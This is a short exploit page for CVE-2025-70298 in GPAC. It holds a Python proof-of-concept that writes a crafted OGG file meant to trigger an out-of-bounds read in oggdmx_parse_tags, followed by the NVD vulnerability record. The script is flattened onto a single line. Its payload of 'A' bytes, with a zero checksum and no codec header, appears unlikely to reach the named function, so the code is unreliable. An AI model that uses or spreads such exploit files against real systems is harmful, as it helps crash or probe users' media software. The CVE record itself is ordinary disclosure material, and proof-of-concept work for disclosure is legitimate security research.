CVE-2025-70298

# PoC for CVE-2025-70298 - GPAC oggdmx_parse_tags OOB Read # Generate malicious OGG file to trigger off-by-one in oggdmx_parse_tags import struct def create_malicious_ogg(): # OGG page header (common header) capture_pattern = b'OggS' version = b'\x00' header_type = b'\x00' granule_position = struct.pack('<Q', 0) serial_number = struct.pack('<I', 0x12345678) page_sequence = struct.pack('<I', 0) checksum = struct.pack('<I', 0) page_segments = b'\x01' segment_table = b'\xff' # Craft payload that triggers off-by-one in oggdmx_parse_tags # The vulnerability occurs when parsing tag data with incorrect bounds check payload = b'A' * 255 header = capture_pattern + version + header_type + granule_position header += serial_number + page_sequence + checksum + page_segments + segment_table return header + payload def main(): poc_file = 'CVE-2025-70298.ogg' with open(poc_file, 'wb') as f: f.write(create_malicious_ogg()) print(f'PoC file created: {poc_file}') print('Usage: Open this file with vulnerable GPAC version <= 2.4.0') if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-70298", "sourceIdentifier": "[email protected]", "published": "2026-01-15T17:16:05.697", "lastModified": "2026-01-23T17:37:19.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GPAC v2.4.0 was discovered to contain an out-of-bounds read in the oggdmx_parse_tags function."}, {"lang": "es", "value": "GPAC v2.4.0 se descubrió que contenía una lectura fuera de límites en la función oggdmx_parse_tags."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gpac:gpac:2.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "C8D68051-EBCD-445B-A060-EAC407CE2D39"}]}]}], "references": [{"url": "https://github.com/zakkanijia/POC/blob/main/dmx_ogg/GPAC_oggdmx_parse_tags_offbyone.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}